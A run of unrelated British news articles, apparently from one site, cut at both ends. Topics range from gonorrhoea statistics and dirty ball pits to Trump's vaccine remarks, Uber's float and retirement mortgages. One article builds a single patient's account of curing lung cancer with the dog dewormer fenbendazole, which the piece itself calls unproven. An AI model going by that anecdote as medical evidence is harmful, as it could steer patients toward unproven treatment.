kissing, hugging, sharing towels, toilet seats or swimming. Around one in 10 men and half of women experience no symptoms. However, these can include: Thick green or yellow discharge from the genitals Pain when urinating Bleeding between periods in women Treatment is usually a single antibiotic injection and tablet. Gonorrhoea can be prevented by using condoms during sex and not sharing sex toys. Source: NHS Choices Advertisement Nations in western and northern Europe were worst affected, with Ireland's rate the second highest (46.9 per 100,000), followed by Denmark (33.3) and Norway (26.6). Measured by raw numbers, Spain (8,200), the Netherlands (6,794), Sweden (2,515), Belgium (2,271) and Ireland (2,245) had the most infections. An expert from the British Association for Sexual Health and HIV told MailOnline the popularity of online dating could be to blame. Dr Mark Lawton, a sexual health consultant in Liverpool, said: 'Gonorrhoea is a strong marker of condomless sex. 'The increases in gonorrhoea likely relate to an increase in frequency and number of partners, perhaps facilitated by online dating and hook-up apps.' He said there isn't data which suggests people in the UK are more promiscuous than elsewhere, and said higher rates may reflect better diagnosis and recording of the infections. Dr Lawton said the infection rate shouldn't be a source of shame. He added: 'Shame is not a word that should ever be associated with sexually transmitted infections. 'Open discussion and de-stigmatisation will promote positive sexual health and encourage regular testing.' Almost half (47 per cent) of all Europe's gonorrhoea infections were diagnosed among gay men. Cases among women rose by 15 per cent in the year from 2016 to 2017, which experts said was concerning because of its potential impact on fertility. Estonia is the only country in which more women got the infection than men all others, and the EU on average, had higher rates among males. Gonorrhoea, known as the clap, is the second most common STI in the UK, after chlamydia. It is caused by a bacteria which spreads in fluids in the penis and vagina and can be transmitted by vaginal, anal or oral sex. Symptoms tend to include pain when urinating, unusual discharge which may be white, green or yellow, or pain around the genitals. The infection most commonly manifests in the reproductive organs but can spread elsewhere in the body if left untreated for a long time it can lead to infertility. MailOnline has contacted Tinder and Grindr for comment. Ball pits are teeming with disease-causing germs, a new study of equipment in children's physical therapy facilities found. Researchers from the University of North Georgia examined six sites and found over 31 kinds of bacteria that can cause everything from bladder infections to infections of the heart lining. Alarmingly, clinics that have ball pits might go days or even weeks without cleaning the play equipment. The brightly colored pits are rife with germs, and the researchers warn that sanitizing practices need to be standardized to make sure that children aren't exposed to harmful contaminants. Even in clinical settings, scientists found that ball pits contain as many as hundreds of thousands of germ cells from 31 types of bacteria, according to a new study For the new study, published in the American Journal of Infection Control, the researchers limited their investigation to ball pits at six physical therapy centers. The tactile and visual of ball pits encourages children to develop their motor and sensory skills, so physical therapists often use them as a sort of therapeutic play. But since the 1980s, they've exploded in play center and chains like McDonald's. So if ball pits in clinical settings are dirty, high traffic ones in public facilities are likely downright filthy. One scientist famously found that McDonad's Play Place Ball Pits were dirtier than its toilets. There have been reports of finding everything from homeless people, to sharp objects and copulating teenagers in ball pits. In the infrequent event that public plastic balls are cleaned, the methodology is hardly up to hospital standards. In a Reddit post, an alleged former employee of a Chuck E. Cheese Family Fun Center said that once the balls reached visible grime-level filth, 'we put them in my boss' pickup truck in netted bags. Then we just went through a carwash.' It's not exactly a secret or a surprise. The pits might be a child's plastic dream but they're a parent's nightmare, as they are 'often contaminated with visible dirt, vomit feces or urine,' the researchers wrote. Any one of those nasty contaminants is crawling with bacteria. Taken together, they're a veritable germ stew. In fact, the researchers found 31 different bacteria in the six ball pits the tested. And the germs weren't just present sporadically or in trace amounts. To do their tests, the team fished out balls from different depths and areas of each pit. At the clinic with the dirtiest ball pit, the researchers found an average of 170,818 bacteria per ball. One ball had 712,000 microorganism cells. Although the the pits had plenty of additional non-human bacteria, the human-originating bugs likely to sneak past children's weakened immune system included Enterococcus faecalis, Staphylocccus hominis, Streptococcus oralis, and Acinetobacter Iwofii. Collectively, these bugs can cause sepsis,urinary tract infections, endocarditis (an infection of the heart's lining), meningitis, bloodstream infections, skin infections and pneumonia in children. And oral Strep can cause an adult respiratory distress syndrome. They also found a yeast that can cause fungal infections in people with compromised immune systems. It's inevitable that anywhere human bodies go, there will be human bacteria populations - and the ball pits were no exception. Infections from environmental bacteria are less common but possible. The researchers found bacteria normally associated with plants, dirt, water and certain foods in the ball pits as well. These pathogens have been known to cause eye infections in babies, sepsis, heart lining infections, blood and skin infections. All of these germs are particularly dangerous to young children whose sometimes rambunctious activities leave them with scratched limbs and scabby knees, just waiting for opportunistic infections to sneak in. Currently, the study authors note, national standards for how and how often ball pits should be cleaned 'remain elusive.' The researchers said that more and larger studies need to be done, but 'if warranted,' it might be necessary to develop 'standardized cleaning protocols developed to limit the presence of opportunistic pathogens in this environment.' A teenager who was left paralyzed from the waist down after a Polar Plunge is on his feet again, against the odds, and he is set to walk in his graduation ceremony. Michael Wright, now 18, was 17 when he took part in Staten Island's annual challenge in December to raise money for the Special Olympics: jumping into icy cold water from a height. On impact, he broke two vertebrae in his neck, requiring four hours of surgery. Afterwards he could barely move his arms and hands, and couldn't move his legs at all. He was given a one percent chance of recovery. Ninety-nine percent of people who suffer this kind of fracture are confined to a wheelchair for life. Michael Wright, now 18, was 17 when he jumped into icy water and broke two vertebrae in his neck. He was given a 1 percent chance of recovery. Four months later, he's walking (pictured, right, with his neurosurgeon Dr Edwin Chang) Michael had shattered two of his vertebrae, crushed so badly that some of the bone fragment had gone into the spinal canal His neurosurgeon, Dr Edwin Chang at Northwell Health, said Michael's total recovery 'was somewhat of a miracle'. 'It was a very emotional day because, for a young person like Michael to lose functions like that, we didn't know what the future held for him,' Dr Chang said in press conference. 'I couldn't look him straight in his eyes and tell him that he would walk again. 'His parents asked the same questions, of course, and I had a difficult time facing them at the time, I have to admit. 'But all I knew was we had to do something.' Michael had shattered two of his vertebrae, crushed so badly that some of the bone fragment had gone into the spinal canal. He was whisked into surgery quickly, within two hours of his injury. Michael was faced with months of rehabilitation and physical therapy to recover Dr Chang and his team removed the fractured vertebrae and, in their place, put a spacer with Michael's own crushed bones placed inside it. Those crushed bones would eventually regrow and fuse with the rest of the cervical spine. They also put in titanium screws and plates. Then it was up to Michael, who was faced with months of rehabilitation and physical therapy. 'It was still unpredictable was the outcome was from Michael at the time,' Dr Chang said. Dr Chang and his team removed the fractured vertebrae (which were at the top of his spine, where Dr Chang is pointing to) and, in their place, put a spacer with Michael's own crushed bones placed inside it. Those crushed bones would eventually regrow and fuse with the rest of the cervical spine. They also put in titanium screws and plates But the fact that he moved one toe in the recovery room gave the surgeons hope. 'We were jumping up and down saying, 'wow! He's moving one toe!',' Dr Chang said. Now, four months on, Michael is moving well. He still has a way to go but he has essentially made a full recovery, and is expected to be in near-perfect shape soon. 'Obviously, it feels really good, but it also gives me a lot of faith, and a lot of happiness to be here,' Michael said. 'They just talk to me and they say that I inspire them and I just tell them to work hard, because, obviously, good things are going to happen afterwards.' Mexico Becomes Top U.S. Trade Partner for First Time Tempe, Arizona - Mexico has long been Arizona's top trade partner. Now, for the first time, our southern neighbor is also the No. 1 trade partner with the United States. In January and February of this year, trade between Mexico and the United State accounted for $97.4 billion in imports and exports. That's about 15 percent of all U.S. trade worldwide, surpassing both China and Canada for the first time. "It's a very, very impressive and rapid growth in bilateral trade," said Duncan Wood, director of the Mexico Institute, a think tank with the Woodrow Wilson Center in Washington, DC. "Mexico's rise to the top in U.S. trade relationships came sooner than experts predicted." Trade has grown between the two countries despite recent steel tariffs and political tension over migration, he said, though if tariffs have probably stifled potential growth somewhat. But U.S.-China trade disputes have certainly played a role in clearing the way for Mexico, and some U.S. importers have shifted to Mexican suppliers. Still, the U.S.-Mexico trade relationship has been on an upward trend for more than a decade, he said. Arizona's economy has also depended on trade with Mexico for years, said Glenn Hamer, head of the Arizona Chamber of Commerce and Industry. "Every month of every year going back many, many years, Mexico is Arizona's top trading partner," he said. "What we're seeing nationally, this is the case in Arizona every day of the year," he said. Arizona Governor Doug Ducey touted the strength of Arizona-Mexico trade ties during his International State of the State address hosted by the Phoenix Committee on Foreign Relations Tuesday. Trade between Arizona and Mexico increased 7.7 percent in 2018. Now, growing national numbers help underscore the importance of the U.S.-Mexico trade relationship for the rest of the country, too, Hamer said, adding that "it's vital for the United States Congress to rapidly pass the USMCA, the new trade deal with Mexico and Canada to see a renegotiated North American trade agreement." "If the United States, Canada and Mexico pass the USMCA agreement, it will increase trade even more," he said. "We're going to see even more trade between the three countries, and the bottom line to that for Arizonans, that's going to mean more prosperity, more opportunity and more jobs," he added. Wood, with the Mexico Institute, agreed that the future of U.S.-Mexico trade hinges on ratifying a new trade agreement. "Although everything looks rosy right now, I think there are a number of potential problems in the trading relationship," he said, including complications with the USMCA and potential political clashes down the road over migration. "We all thought that at a certain point the political problems in the relationship would spill over some into trade," he said. "And that could still happen." Donald Trump declared Friday that all children should be vaccinated - despite previously fanning the debunked myth that vaccines are linked to autism. 'They have to get the shots. The vaccinations are so important. This is really going around now. They have to get their shots,' Trump told CNN on Friday amid an escalating measles epidemic. On Wednesday, US health officials announced 2019's measles rate has already surpassed every other year's caseload since measles was declared eradicated in 2000, with 695 cases since January 1. It has struck anti-vaxxer communities in 22 states, with the majority of cases (390) recorded in New York City's Orthodox Jewish community, where myths about vaccines have thrived since the 1970s. Donald Trump, pictured giving an address to the National Rifle Association on Friday, has finally endorsed MMR vaccines without caveats, as the nation battles a measles outbreak There is no treatment or cure for measles, which is the most infectious human virus we know of. A person with measles will infect 90 percent of unvaccinated people in their vicinity, and the virus can live up to two hours in a space where an infected person had breathed or coughed. The virus causes fever, cough, and a full-body rash of blistering nodules, which can develop into pneumonia, meningitis, or encephalitis, which is inflammation of the brain. With millions dying a year, US health officials spent decades trying to develop a treatment, which has, to this date, been unsuccessful. But they did develop a vaccine, which prevented infectious and led to a 75 percent reduction in deaths. By 2000, the US declared measles effectively eradicated. The current measles outbreak in the US started in Ukraine, which has a large measles outbreak at the moment, and often hosts holiday-goers from Israel, where vaccine rates are low. Travelers brought the virus back to Israel, and soon it was picked up by unvaccinated Orthodox Jewish children from Brooklyn, who, as many do, were in Israel visiting their relatives. The virus came to Brooklyn, Washington, upstate New York, California, and quickly spread. Now, two pregnant women are among the infected in Brooklyn - an escalation that health officials have been nervously braced for, according to Dr Greg Poland, director of the Mayo Clinic's Vaccine Research Group. 'This is just such a sad, sad thing to see because all of this is preventable,' Dr Poland told DailyMail.com. Trump's statement on Friday is the first time he has actively endorsed vaccines without implying risk. The president has long insisted he is not against vaccines, but says he believes in spreading the vaccine out over time because he believes that giving the vaccine 'in one big dose' could cause side effects like autism - a viewpoint that has been repeatedly debunked for decades. Donald Trump has insisted he believes in vaccines, despite implying that the vaccine given as one shot can cause autism, which is not true In a lengthy long-tweet, Trump referred to standard, proven-to-be-safe vaccines as 'heavy duty', implying they are dangerous In another tweet, Trump implied vaccines are linked to autism In March 2014, Trump tweeted: 'Healthy young child goes to doctor, gets pumped with massive shot of many vaccines, doesn't feel good and changes - AUTISM. Many such cases!' Later that month, he tweeted: 'With autism being way up, what do we have to lose by having doctors give small dose vaccines vs. big pump doses into those tiny bodies?' In April 2014, he tweeted: 'So many people don't understand I am a big proponent of vaccines for childrenjust not in one massive dosespread them out over time.' In April 2012, he long-tweeted: 'I've gotten many letters from people fighting autism thanking me for stating how dangerous 38 vaccines on a baby/toddler under 24 months are. It is totally insane a baby cannot handle such tremendous trauma. Now they come up with this ridiculous study blaming obesity in the mother. The FDA should immediately stop heavy dose vaccinations and you will see a huge decrease in children with autism. What do they have to losenothingbut plenty to gain if I am correct. There is great dishonesty about autism!' His apparent change of heart has delighted health professionals. Helen Bedford, Professor of Child Public Health at the Institute of Child Health at University College London, said: 'At last! What took him so long?! It's good to see President Trump following the example of previous US presidents in supporting vaccination. Political support for vaccination, the most effective and cost effective way of protecting children from serious diseases, is vital.' Jonathan Ball, Professor of Molecular Virology at the University of Nottingham, said: 'This is a rare day; a day when I agree with what the president has said! I couldn't have said it any better.' In January 2017, Joe Tippens was certain that he would die of small cell lung cancer. But then a veterinarian suggested he try something unconventional, to say the least: a drug for dogs. The medication, fenbendazole, is an anti-worm compound used to treat hookworms, roundworms and other gut parasites in animals, primarily dogs. In recent years, studies suggesting anti-worm drugs might have cancer-fighting properties have been cropping up in a growing number of journals. It's far from a proven treatment, but with three months to live and nothing to lose, Joe decided to take a chance on it. Joe Tippens was diagnosed with late stage lung caner in 2016. By 2017, it had spread throughout his body and he was given three months to live. Today, he is cancer free - and credits the dog de-worming drug he took while enrolled in a clinical trial Joe was diagnosed with small cell lung cancer in 2016, turning his plans upside down, just two days before he was set to move to Switzerland from Oklahoma. He kept up a fighting attitude, but in January 2017, he got the news that no one is prepared to hear. The aggressive cancer was everywhere. It had spread to his liver, pancreas, bladder, stomach, neck and bones. His PET scan 'lit up like a Christmas tree,' he says on his website. At that late stage of small cell lung cancer, Joe's odds of survival were less than one percent, and the average life expectancy was three months. He had a trans-Atlantic move planned. He was expecting a grandson. And now everything had to come to a halt. Joe's PET scans showed the caner had spread from 'head-to-toe' in 2017 Doctors at MD Anderson Cancer Center in Texas told him they wouldn't give up, and would put him in a clinical trial that wouldn't save Joe, but might give him a year or so to live. He might get to meet his grandson. 'A year (or so) sounds a lot better than 3 months, so I said "let's go for it,"' Joe writes. Browsing an online forum for his alma mater, Oklahoma State University, Joe saw a post that caught his eye that same month: 'If you have cancer or know someone who does, give me a shout.' He did, and from the poster, a veterinarian, he learned that scientists had accidentally discovered that a dog de-worming drug seemed to combat many cancers in mice. The same scientist that had conducted that research, as it happened, had stage 4 brain cancer, and the same prognosis Joe had been given, according to the vet. A veterinarian told Joe about fenbendazole (pictured), a de-worming drug for dogs, which had shown cancer-fighting properties in cell studies She started popping the dog pills, and within six weeks, as the vet told it, the scientist's cancer was gone. Joe, who was 'a skeleton with skin hanging off of it' at half his previous weight, he told KOCO 5 News, placed an order of fenbendazole. His new dosage of dog pills cost just $5 a week. His insurance company had spent '$1.2 million on me with traditional means,' he said. According to a study published in Nature, the drug compound essentially starves cancer cells and kills them. It also is, of course, already in production, cheaper, and, according to cell studies and reports from people who have tried it, not very toxic, especially compared to chemo and immunotherapies. That said, it was a risk. Joe stayed in the clinical trial (he does not disclose what therapy he received) added vitamin E, CBD, bioavailable curcumin and, of course, the dog medicine. He didn't mention the de-worming drug to his doctors. The difference between Joe's PET scans in January of 2017 and in May of 2017 was dramatic In May, Joe's first grandchild, Luke, was born. Joe was there to meet him. Two-and-a-half weeks later, he had another PET scan. 'Three months earlier...There was cancer in my body from head to toe. And it was a terrifyingly dangerous metastasis that leaves virtually 100% of its victims dead within 3 months. Here I was 3 months later and the PET scan was completely dark......void of any light.....anywhere,' Joe writes. He was dumbfounded. His oncologist was dumbfounded, according to Joe's account. Joe writes that his doctor told him, 'We don't quite know what to make of this as you are the only patient on the clinical trial with this kind of response.' In September 2017, Joe went for yet another scan, and was still cancer free. At last he told his doctor what he'd been doing outside the hospital. Joe not only lived to see the birth of his first grandson, Luke (pictured), but is still cancer-free and will get to see him turn two next month There was no way at that point to prove that it was the de-worming drug that vanished Joe's cancer, but his doctor did tell him that he was an 'outlier' of the trial, Joe writes. Joe's final scan was taken in January of 2018, and when he had a follow-up appointment that April, he writes that his oncologist kicked him out of the cancer center - because Joe had no cancer to treat. His results seem too-good-to-be true, but Joe claims to have collected over 40 examples of similar success stories. And his results were good enough to pique the interest of the president of the Oklahoma Medical Research Foundation, Dr Stephen Prescott. 'I'm usually skeptical, and I was and maybe still am about this one, but there's interesting background on this' he told KOCO. Now, Dr Prescott and Joe are working on a case study report, according to KOCO. Joe is careful to note that he's not a doctor, and is 'only one man with limited resources.' 'I am not prescribing medicine and I am not qualified to give advice on medical treatments. 'BUT.....I am qualified to tell my story to as many people as possible.' An article dated 15 August claimed that Interpal, a charity supporting Palestinians, funded a hate festival in which children acted out the murder of Jews. In fact, while Interpal donated to the festival, it did not fund or support the play and the Trustees of Interpal unequivocally condemned the activities the play depicted. It was not our intention to suggest that the Trustees promote or condone anti-Semitism or attacks on Jews. The article also referred to Interpal having been listed as a specially designated global terrorist organisation by the United States. We are happy to make clear that this designation, which took place in 2003, has always been strongly contested by Interpal and its Trustees, and Interpal continues to operate lawfully within the aegis of the Charity Commission. The Trustees assure us, and we accept, that neither Interpal, nor its Trustees, have ever been involved in or provided support for terrorist activity of any kind. We apologise to the Trustees for any distress caused. To report an inaccuracy, please email corrections@mailonline.co.uk. To make a formal complaint under IPSO rules please go to www.mailonline.co.uk/readerseditor where you will find an easy-to-use complaints form. You can also write to Readers Editor, MailOnline, Northcliffe House, 2 Derry Street, London W8 5TT or contact IPSO directly at ipso.co.uk Landlords based in London are abandoning investments in the capital and are instead looking north for better returns, figures have revealed. While landlords traditionally choose to buy near to where they already live, figures suggest that a combination of a stamp duty surcharge on second homes, high house price growth, and a clampdown on landlord tax relief has pushed landlords away from the capital and commuter belt over the past three years. Just one in four London-based landlords purchased a buy-to-let outside the capital in 2010, according to the research from estate agents Hamptons International. But since then the number of London-based landlords buying in London itself has dropped by a dramatic 34 per cent, some 17 per cent of which has been since 2015, just before the stamp duty surcharge on second home purchases was introduced. Stamp duty reform and a clampdown on landlord taxation have made buy-to-let less attractive By contrast, 34 per cent of London-based investors buying new property in the past year bought in the Midlands and North, up from just 14 per cent in 2015 and 4 per cent in 2010. A landlord buying in London during the past 12 months faced a 24,600 stamp duty bill on average, compared to 5,330 for an investor buying outside the capital. This means landlords are spending 11,760 more than they were before the stamp duty changes in early 2016, but investors purchasing outside of London are only paying 3,910 more. The latest figures show that HMRC's stamp duty take has fallen by 1billion over the course of the year - the biggest drop since the recession. Aneisha Beveridge, head of research at Hamptons International, said: 'April marks the three year anniversary of the stamp duty surcharge introduction for second homeowners. Following the tax hike, landlords have been adapting their strategy to find new ways to make their returns. 'Lower entry costs and higher yields outside of the capital are enticing investors to look further afield than they have previously.' Proportion of London-based landlords who bought buy-to-lets outside the capital London rents hit their highest ever levels in March, but the added costs attached to purchasing second properties has gone a long way to wipe out any benefit to landlords and instead has returned muted yields. Where London landlords purchase buy-to-lets (past 12 months) Region London-based landlords investing Change since 2010 Change since 2015 London 41% -34% -17% South East 11% 5% -2% East Midlands 10% 8% 6% East 10% -1% -2% North West 9% 9% 1% Yorkshire and the Humber 6% 6% 6% West Midlands 6% 5% 2% South West 3% -1% 1% North East 2% 2% 1% Scotland 1% 1% 1% Wales <1% 0% 0% This isn't to say that there aren't still areas that can provide decent returns. The E6 postcode in East Ham, for example, has an average yield of 4.81 per cent, according to Totally Money, with Hammersmith's W6 averaging 4.47 per cent. On the flip side however, Highgate's N6 has an average yield of just 1.93 per cent, while Chelsea's SW3 has an average yield of just 2.4 per cent. This is in contrast to Nottingham, where landlords can find postcode areas that average yields of 11.99, or Liverpool, where certain areas can deliver 9.79 per cent average yields. The East Midlands and Yorkshire & Humber saw the greatest increase following the stamp duty surcharge introduction, with 6 per cent more London landlords buying investment properties in those regions than in 2015. The South East remains the most popular destination for London-based landlords purchasing buy-to-lets outside the capital. Some 11 per cent of London landlords purchased their buy-to-lets in the South East over the past 12 months, 2 per cent fewer than in 2015. Dartford is the most popular investment location for London-based landlords in the South East. Landlords living in London bought 60 per cent of buy-to-lets in Dartford during the past 12 months. Is this good news for first-time buyers? Part of the Government's stated justification for buy-to-let reform over the past three years has been to decrease competition for people trying to buy their first home. Average rental yields per region Property location Average yield North East 6% Yorkshire & the Humber 6% London (outer) 6% North West 5.9% South West 5.9% East of England 5.9% East Midlands 5.8% Wales 5.6% West Midlands 5.5% South East (excl. London) 5.2% London (central) 4.7% Source: BVA BDRC Landlords Panel And while it's difficult to tell exactly who is buying London homes, there are indications that fewer landlords investing in the capital has benefited first-time buyers. 'Generally first-time buyers and landlords buy quite similar homes,' said Beveridge. 'In 2015, 16 per cent of first-time buyers purchasing their first home faced a competing offer from an investor in London. 'However, since taxation on buy-to-let has increased and landlords are purchasing fewer homes, first-time buyers purchasing a home in London came up against an investor just 11 per cent of the time.' The UK as a whole has seen the same downward trend in first-time buyer versus investor competition, but London has seen a more significant drop off. Brexit has put the brakes on rental growth While London rents are at an all time high, they are not as high as they might have been had Britain voted to remain in the EU. Tenants in London are potentially 1,806 better off since the vote to leave the EU in June 2016 Earlier this year This is Money revealed that rental growth in the capital is now 2.84 per cent lower than the level expected back in June 2016, but the gap between expected rental growth and reality could be as high as 4.15 per cent. This higher estimate would leave renters in London with an extra 1,806 on average than they would have had without the blow to the market delivered by Brexit and other tax changes changes from the government. The capital's property market, which has suffered disproportionately from uncertainty since the referendum, saw average annual rental growth drop from 1.26 per cent in June 2016 to a low of -0.33 per cent in June 2017, before starting a slow recovery up to 0.58 per cent in December 2018. A British software engineer stands to get nearly 450million when his tech company makes its long-awaited debut on the US stock market. Cal Henderson co-founded workplace messaging service Slack with Stewart Butterfield, and their business could be valued at 13billion when it lists in New York. It means Henderson, 38, who owns around 3.4 per cent of the company, could have a stake worth as much as 447million. Windfall: Cal Henderson co-founded workplace messaging service Slack with Stewart Butterfield, and their business could be valued at 13billion when it lists in New York He is a computer science graduate of Birmingham City University but has lived in North America since 2003. He got his first job across the Atlantic at IT firm Ludicorp, after hacking into the email system of the company and telling its bosses that he could help them fix the problems they were grappling with. There, Henderson met Butterfield, a founder at Ludicorp, and the pair went on to set-up photo-sharing website Flickr. Flickr was later sold to tech giant Yahoo for more than 19million in 2005, making Henderson one of Silicon Valleys most successful entrepreneurs at the age of just 24. With other former Flickr staff and Butterfield, Henderson founded Slack in 2009. They created the messaging service as a replacement for email, which they say creates fragmented silos of inaccessible information, hidden in individual inboxes. Henderson is Slacks chief technology officer. The father-of-two, who grew up in Bedfordshire, is also an author who has published a best-selling book on building websites. Slack is among a wave of hotly-anticipated tech companies going public this year, following in the footsteps of taxi firms Lyft and Uber, video service Zoom and digital scrapbook website Pinterest. Around 449m was wiped off the value of the iron ore miner Ferrexpo Shares in Ferrexpo plunged after its auditor Deloitte resigned over a spat about donations to a charitable foundation and two non-executive directors also said they were quitting. Around 449million was wiped off the value of the iron ore miner, with the stock down 28.4 per cent, or 76.3p, at 192.6p. Ferrexpo has been facing a scandal in Ukraine over alleged suspicious payments to a charity called Blooming Land, which it is claimed has links to the miners owner Kostyantin Zhevago. Ferrexpo set up an independent committee to investigate the donations and it cleared the firm of wrongdoing earlier this week. Deloitte has quit as auditor. Directors Mary Reilly and Bert Nacken said they will step down at the AGM on June 7. Uber's boss promised investors a 'once in a generation' opportunity as he urged them to back the taxi app firm's 70billion blockbuster float. Dara Khosrowshahi admitted Uber made mistakes during its meteoric rise but still held 'enormous' potential. He said the firm was the dominant player for smartphone taxi apps and is still just 'scratching the surface' with its fast-growing businesses in food delivery and freight. Driving profits: Uber's float on May 10 will come hot on the heels of arch-rival Lyft, which listed in New York last month His upbeat comments were in marked contrast to more sombre proposals published by the firm earlier this month, when it admitted it might never turn a profit. Khosrowshahi, 49, said: 'When I joined Uber as chief executive, many people asked me why I would leave the stability of my previous job for one that was anything but. 'My answer was simple: Uber is a once-in-a-generation company and the opportunity ahead of it is enormous,' he said. 'We are still barely scratching the surface when it comes to huge industries like food and logistics.' The tech company is setting out its stall as it prepares for what is expected to be America's biggest stock market debut of the year. Uber's float on May 10 will come hot on the heels of arch-rival Lyft, which listed in New York last month. It follows the highly-anticipated debuts of digital scrapbook firm Pinterest and video conferencing service Zoom. Uber revealed its shares will be priced between $44 and $50 each, as it aims to raise around 7.7billion of extra cash. This will value the company at around 70billion slightly less than some analysts had expected, but still more than investment bank Goldman Sachs or engineering conglomerate General Electric. Some speculated the more than 20 per cent fall in Lyft shares since their debut had encouraged Uber's more cautious approach. In his pitch to investors, Khosrowshahi reflected on the company's founding in 2009 and said it had come a long way, going from offering just taxi hailing to car-pooling, food delivery, freight, electric bikes and scooters, self-driving cars and even flying taxis in future. The former boss of holiday website Expedia said: 'What began as 'tap-a-button-and-get-a-ride' has become something much more profound.' But he also acknowledged the many scandals that have buffeted the firm in the past two years - including sexual harassment allegations against managers, battles with regulators and poor relations with drivers. The problems eventually led to Khosrowshahi replacing Uber founder Travis Kalanick as boss. Khosrowshahi said: 'In getting from point A to point B we didn't get everything right. Some of the attributes that made Uber a wildly successful start-up a fierce sense of entrepreneurialism, our willingness to take risks that others might not, and that famous Uber hustle led to missteps along the way.' Uber also revealed it is selling nearly 390million worth of stock to payments giant Paypal as part of the float. However, the company has warned it may have to continue burning through vast sums of cash to keep prices low as it battles growing competition around the world. Michael Hewson, of CMC Markets UK, said: 'Delivery and ride sharing apps are becoming an incredibly crowded and competitive market place.' What is it? The fund invests savers' money in a variety of fast-growing, privately owned financial technology businesses. These so-called fintech firms, which investors wouldn't be able to reach through the stock market, offer customers digital access to traditional banking products and services. What does the manager invest in? Tim Levene searches through hundreds of companies to find the winners and disruptors. The portfolio is made up of 15 companies, with some well-known names like Interactive Investor, Seedrs and Zopa. Augmentum also aims to be actively involved with the companies, to help them develop. What do the experts like? Anthony Leatham, an analyst at Peel Hunt, says: 'We believe the odds are stacked in Augmentum's favour, based on our assessment of the manager's skill, the experience of the advisory board and the exceptional network they have built to source and filter ideas.' Any downsides? UK and European watchdogs have highlighted the positives of fintech, but there's a risk future laws could impede progress. Can you get a refund if a show or event is scrapped, you can't make a new date, have to isolate, or don't want to go due to Covid? Your questions answered Older borrowers stuck on interest-only mortgages have been offered what could become a lifeline by Britain's biggest building society Nationwide. The lender is the first major mortgage provider in the UK to launch a retirement interest-only mortgage, initially allowing its existing customers to extend their interest-only loans well into retirement. Retirement interest-only mortgages are aimed at those who have failed to clear their debt before stopping work and those who would like to cash in on their home's value to help fund their pension years. While currently a niche product, their popularity is expected to grow substantially in years to come, rivalling equity release. Last year the FCA changed its rules to allow retirees to remortgage onto interest-only deals Last year the financial watchdog changed its rules to allow thousands of retired borrowers to remortgage onto interest-only deals without needing a repayment plan in place. Instead, they are allowed to use the sale of their home on death or moving out into full-time care to repay the balance. But despite this rule change, the mortgage industry has been slow to act and only a handful of small building societies are offering the deals. Last month, This is Money revealed that only 112 of these types of mortgages were sold across the whole of the UK in 2018. This is despite potentially tens of thousands of pensioners having no repayment plan in place for their existing interest-only mortgages, meaning many could lose their homes once their deals mature. With Nationwide becoming the first of the 'big six' lenders to launch - albeit on a limited basis to start with, in theory this could help to make this type of mortgage more widely available to those who need them. David Hollingworth, of mortgage broker L&C Mortgages, said: 'The move by Nationwide to develop a broader range of mortgage options for older customers is a significant one. 'Retirement interest-only mortgages have been slowly growing in number as more lenders have begun to offer products but this marks the first launch by such a big high street player.' The announcement comes alongside the release of a range of Nationwide later life lending products, which also includes a retirement capital and interest mortgage - allowing homeowners to start to pay off their outstanding balance slowly - and a lifetime mortgage equity release product. Initially these deals will only be available to existing Nationwide mortgage members, but the society plans are to roll out the deals more widely this summer. What is a retirement interest-only mortgage? Put simply, a retirement interest-only mortgage is like a standard interest-only remortgage that can be taken into retirement, and which can be paid back once the home is sold, the homeowner dies or goes into full-time care. They're generally only available to over-55s, but unlike some equity release products the interest is paid off monthly, so it doesn't roll up and eat into the equity the homeowner already holds. When applying, homeowners don't have to prove they have a credible repayment plan in place, as they would with traditional interest only-deals, instead they have to prove they can keep up with the monthly interest repayments. With some lenders, homeowners can switch onto these deals from existing interest-only mortgages that could be near maturation without a plan in place to pay off the loan. How does it compare? Currently Bath, Beverley, Ipswich, Leeds, Loughborough, Mansfield, Marsden, Melton, Newbury, Nottingham, Saffron, Scottish, Tipton & Coseley, and Vernon building societies, and Shawbrook Bank all offer retirement interest-only deals. Lenders such as Aldermore and Post Office also offer interest-only mortgages into retirement, but as the terms are fixed they don't technically count as retirement interest-only mortgages, which by definition don't have a fixed end date. The majority of retirement interest-only deals are offered by smaller building societies and some are postcode restricted. Currently Nationwide's retirement interest-only deals are only available up to 50 per cent loan-to-value. These include a two-year fix at 2.99 per cent, a five-year fix at 3.19 per cent, a 10-year fix at 3.79 per cent, and a two-year tracker, currently at 2.74 per cent. Applicants must be Nationwide mortgage members over 55, both if joint, and can apply up to age 85. There are no product, valuation or advice fees. As of the time of publication Nationwide's fixed rate retirement interest-only mortgages are the cheapest on the market, but you'll have to already own at least 50 per cent of your home outright to qualify. By comparison the biggest lender to offer retirement interest-only deals after Nationwide, Leeds Building Society, offers a two-year fix at 3.34 per cent, with a 999 product fee, available up to 55 per cent loan-to-value. It also offers a five-year fix at 3.62 per cent with a 999 fee up to 55 per cent loan-to-value, and a 10-year fix at 3.99 with the same fee up to 55 per cent loan-to-value. Nationwide's offering is markedly cheaper, but you'd need 5 per cent more home equity to qualify than you would for Leeds' deal. Nick Morrey, of broker John Charcol, said: 'There is still work to be done in this market as older borrowers can often have complicated scenarios and income streams that underwriters and policies need to be able to accommodate. 'The more lenders that enter this market the better to encourage diversity and innovation as well as driving down products to closer match standard residential offerings.' Are retirement interest-only mortgages any good? Despite much fanfare when the watchdog relaxed the rules, in its first year the retirement interest-only initiative failed miserably. Just 112 were sold, despite some 185,370 retirees potentially facing losing their homes as their existing interest-only mortgages come to an end. At the time of launch, the regulator predicted that by 2021 around 21,000 retirement interest-only mortgages would be sold annually to help these older homeowners, representing around 1.7billion in sales. Last year's results indicate this target is a very long way off being met. But could a large lender like Nationwide entering the market potentially help bolster these numbers and make this type of deal more widely available? Later life mortgage adviser Andy Wilson Independent mortgage and equity release adviser Andy Wilson is sceptical. He said: 'The availability of products is currently pretty limited, but it's not their availability that it is the main issue with these plans, It is the ability of the potential borrowers to afford the payments for the rest of their lives. 'Lenders are naturally cautious in considering who can reliably afford their products, as repossessing old age pensioners for non-payment can only ever result in a media storm and bad press all round. 'I do believe the number of providers offering retirement interest-only mortgages will increase, possibly including some of the large high street banks, but the issues with the products will always surround affordability.' Mexico's Secretary of Tourism Shares New Strategies The worldwide closures of the Mexico Tourism Board offices left both a void and plenty of speculation as to what the country would do to hold onto its status as one of the world's leading tourism destinations. Miguel Torruco Marques, Mexico's Secretary of Tourism, sat down with TravelPulse to explain the new strategies. Tourism currently represents 8.8 percent of Mexico's GDP with an estimated 43.3 million international visitors for 2019, an increase of 4.7 percent over the 